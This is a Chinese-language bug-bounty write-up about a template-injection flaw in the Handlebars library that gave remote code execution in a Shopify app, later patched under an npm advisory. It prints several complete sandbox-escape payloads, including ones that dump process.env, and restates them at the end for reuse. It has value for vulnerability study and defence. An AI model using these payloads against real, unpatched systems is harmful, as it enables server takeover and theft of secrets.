前言
我们在一个名为handlebars的JavaScript模板库上发现了一个0day漏洞,这个漏洞可用于获取Shopify Return Magic应用上的远程代码执行权限。
我的心路历程
在2018年10月,Shopify组织HackeOne活动“H1-514”并邀请一些特定的研究人员参与,我是其中之一。在许多Shopify的应用中都包含一个名为“Return Magic”的应用程序,该程序用于自动化完成Shopify客户的退货流程。
查看这个程序,我找到了一个名为Email WorkFlow的功能,使用该功能店铺商家能够定制自动发送给需要退货的客户的电子邮件。用户可以在模板中使用一些变量例如:{{order.number}}
,{{email}}
等等。随后,我决定测试该功能是否存在服务端模板注入,输入{{this}}
{{self}}
,然后发送一份测试邮件给我自己,这封邮件内容包含[object Object]
,这引起了我的注意。
因此,我花了一些时间试图找出这个程序所使用的模板引擎,我搜索了NodeJS模板库上流行的模板库,认为该程序使用的是mustache (后来发现不是)。然后我测试了mustache模板注入,但没有结果,因为mustache应该是一个logicless(无逻辑)模板引擎,无法调用函数。而然,我可以调用一些对象属性例如{{this.__proto__}}
,甚至是{{this.constructor.constructor}}
这样的构造函数。我尝试发送参数值至this.constructor.constructor()
,但没有成功。
我承认这里没有漏洞,然后继续找别的bug。似乎上帝一定要我找出该漏洞,我在Shopify的slack频道上看到了一条消息,Shopify要求提交“疑似bug”。如果某人找到一些感觉可以利用的东西,他可以提交给Shopify安全团队,如果团队利用了这个漏洞,报告者能够获取全额赏金。我立即提交我所发现的内容,影响部分写为“可能存在服务端模板注入,这将导致服务器接管¯_(ツ)_/¯”。
两个月过去了,我仍没有收到Shopify关于这个“疑似bug”的任何回应,然后我被邀请至巴厘岛参加Synack主办的黑客活动。在那里我与Synack 红队成员碰面,活动结束后我应该回到埃及去,但在飞机起飞前三个小时我改变了注意,决定再待一段时间,然后飞往日本参加TrendMicro CTF比赛。Synack红队的一些成员也决定延长呆在巴厘岛的时间,其中的一位是Matias,所以我决定与他一起度过这几天。在享受完沙滩和巴厘岛的美景后,我们回到酒店用餐,那时Matias告诉我他曾在一个赏金项目的bug中中用到了JavaScript沙盒逃逸,并确认漏洞。然后,我们整晚都在搜寻对象和构造函数,但是运气不佳,我们无法逃出沙盒。
我脑海中一直浮现出构造函数,我记得曾经在Shopify上找到过模板注入漏洞。我阅读以前的Hackone报告,然后确定模板不是mustanche,我在本地安装mustanche,使用mustanche解析{{this}}
,返回的内容与Shopify程序不同。我再次搜索流行的NodeJS模板引擎,将那些使用花括号{{}}
作为模板表达式的模板下载到本地。其中的一个库是handlebars ,当我解析{{this}}
时它返回了[object Object]
(与Shopify程序的响应相同)。我查看了handlebars的文档,发现该模板并没有很多防护模板注入攻击的逻辑。此时我能够访问构造函数了,于是我决定探究参数是如何传递给函数的。
从文档中我还发现开发者能在模版范围内注册helpers的函数。我们可以像这样{{helper "param1" "param2" ...params}}
传递参数至helpers。首先,我尝试发送{{this.constructor.constructor "console.log(process.pid)"}}
,但只返回字符console.log(process.pid)
。我查看了源代码,想弄清楚发生了什么。在runtime.js
中,有以下函数:
lambda: function(current, context) {
return typeof current === 'function' ? current.call(context) : current;
}
这个函数检查当前对象是否为“function”类型,如果是它将调用current.call(context)
(context
属于模板范围),不是则返回该对象本身。
我进一步分析handlebars文档,发现它在helpers中内置了 “with”, “blockHelperMissing”, “forEach”函数等等。
审计完helpers的内置函数后,我对如何利用helpers的“with”函数有了一些想法。这个函数用于移动调节模板的context(上下文),因此,我能够在自己的上下文执行curren.call(context)
。我尝试使用下面这段代码:
{{#with "console.log(process.pid)"}}
{{#this.constructor.constructor}}
{{#this}} {{/this}}
{{/this.constructor.constructor}}
{{/with}}
简单解释一下,将console.log(process.pid)
作为当前的上下文传输,handlebars编译器遇到this.constructor.constructor
并将其视为一个函数,它将当前的上下文作为函数参数来调用。然后使用{{#with this}}
(我们从函数构造函数调用返回的函数),此时console.log(process.pid)
应该被执行。
然而这没有起作用,因为function.call()
用一个owner
对象作为一个参数,所以第一个参数是owner
对象,其他的参数是发送给被调用函数的参数。因此,被调用的函数为current.call(this, context)
时,上面的payload就可以起作用。
我在巴厘岛呆了两晚然后飞往东京参加TrendMicro CTF。在东京的时候,我的头脑中还是充满着构造函数和对象的影子,我仍在查找沙盒逃逸的方法。
我想到了另一个办法,在上下文中使用Array.map()
函数来调用构造函数,但仍失败了,因为编译器总是向我调用的任何函数传递一个别的参数,然后发生错误,因为payload被视为函数参数而不是函数体。
{{#with 1 as |int|}}
{{#blockHelperMissing int as |array|}} // This line will create an array and then we can access its constructor
{{#with (array.constructor "console.log(process.pid)")}}
{{this.pop}} // pop unnecessary parameter pushed by the compiler
{{array.map this.constructor.constructor array}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
这似乎有很多可以逃出沙盒的方法,但是我还面对一个大问题:无论调用模板内的哪个函数,模板编译器将把模板范围内的Object
添加至最后一个参数。
举个例子,如果我想调用constructor.constructor("test","test")
,编译器将把它改为constructor.constructor("test", "test", this)
再调用,这是因为调用了类似Object.toString()这样的函数,该函数将其转化为一个字符。该匿名函数可能是以下这种形式:
function anonymous(test,test){
[object Object]
}
这将导致错误的发生。
我试了很多方法,但是不够幸运。然后,我决定打开JavaScript文档查阅Object原型,想要找到帮助我实现沙盒逃逸的方法。
我发现可以使用Object.prototype.defineProperty()
来重写Object.prototype.toString()
函数,利用这点可以调用返回用户可控的字符串(有效负载)。
因为在该模板中我不能定义函数,所以我需要找到一个已经定义并且在模板范围内容,可以返回用户可控的输入结果的函数。
举个例子,下面这个nodejs 应用程序存在类似漏洞:
test.js
var handlebars = require('handlebars'),
fs = require('fs');
var storeName = "console.log(process.pid)" // this should be a user-controlled string
function getStoreName(){
return storeName;
}
var scope = {
getStoreName: getStoreName
}
fs.readFile('example.html', 'utf-8', function(error, source){
var template = handlebars.compile(source);
var html = template(data);
console.log(html)
});
example.html
{{#with this as |test|}}
// with is a helper that sets whichever assigned to it as the context, we name our context test.
{{#with (test.constructor.getOwnPropertyDescriptor this "getStoreName")}} // get the context resulted from the evaluated function, in this case, the descriptor of this.getStoreName where this is the template scope defined in data variable in test.js
{{#with (test.constructor.defineProperty test.constructor.prototype "toString" this)}} // overwrite Object.prototype.toString with "getStoreName()" defined in test.js
{{#with (test.constructor.constructor "test")}} {{/with}} // call the Function constructor.
{{/with}}
{{/with}}
{{/with}}
如果你运行这个模板,console.log(process.pid)
将被执行。
$ node test.js
1337
我向Shopify报告如果模板范围内有一个可返回用户可控输入的函数,那么将有可能导致RCE。
后来我跟Ibrahim (@the_st0rm)交流了,他告诉我可以尝试使用bind()
来构造一个新函数,调用该函数将执行我的RCE Payload。
查阅JavaScript文档:
bind()方法创建一个新的函数,在调用时设置this关键字为提供的值。并在调用新函数时,将给定参数列表作为原函数的参数序列的前若干项。
现在我的想法是创建一个包含想要执行内容的字符,然后再重写Object.prototype.toString()
,最后使用bind()
将该函数绑定toString()
到一个函数上。
我花了一些时间来将这点应用到handlebars模板上,最后在飞回埃及的航班上我写出了可行Poc(无需在模板范围内自定义函数)。
{{#with this as |obj|}}
{{#with (obj.constructor.keys "1") as |arr|}}
{{arr.pop}}
{{arr.push obj.constructor.name.constructor.bind}}
{{arr.pop}}
{{arr.push "console.log(process.env)"}}
{{arr.pop}}
{{#blockHelperMissing obj.constructor.name.constructor.bind}}
{{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}}
{{#with (obj.constructor.getOwnPropertyDescriptor this 0)}}
{{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}}
{{#with (obj.constructor.constructor "test")}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
{{/with}}
上面的模板代码如下:
x = ''
myToString = x.constructor.bind.apply(x.constructor, [x.constructor.bind,"console.log(process.pid)"])
myToStringArr = Array(myToString)
myToStringDescriptor = Object.getOwnPropertyDescriptor(myToStringArr, 0)
Object.defineProperty(Object.prototype, "toString", myToStringDescriptor)
Object.constructor("test", this)()
当我在Shopify测试时:
Matias的Poc更加简单:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
总而言之,我可以在Shopify Return Magic应用程序上获取RCE,其实还包括其他使用handlebars作为模板引擎的网站。
我也向npm安全团队报告了这个漏洞,随后handlebars发布禁止访问构造函数的补丁。漏洞公告:https://www.npmjs.com/advisories/755
总而言之
你能够使用下面的Poc注入到Handlebars模板中:
{{#with this as |obj|}}
{{#with (obj.constructor.keys "1") as |arr|}}
{{arr.pop}}
{{arr.push obj.constructor.name.constructor.bind}}
{{arr.pop}}
{{arr.push "return JSON.stringify(process.env);"}}
{{arr.pop}}
{{#blockHelperMissing obj.constructor.name.constructor.bind}}
{{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}}
{{#with (obj.constructor.getOwnPropertyDescriptor this 0)}}
{{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}}
{{#with (obj.constructor.constructor "test")}}
{{this}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
{{/with}}
PS:Matias有更加简单的Poc
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
对不起,本文篇幅有些长。如果你有任何问题请到推特上私信联系我:@Zombiehelp54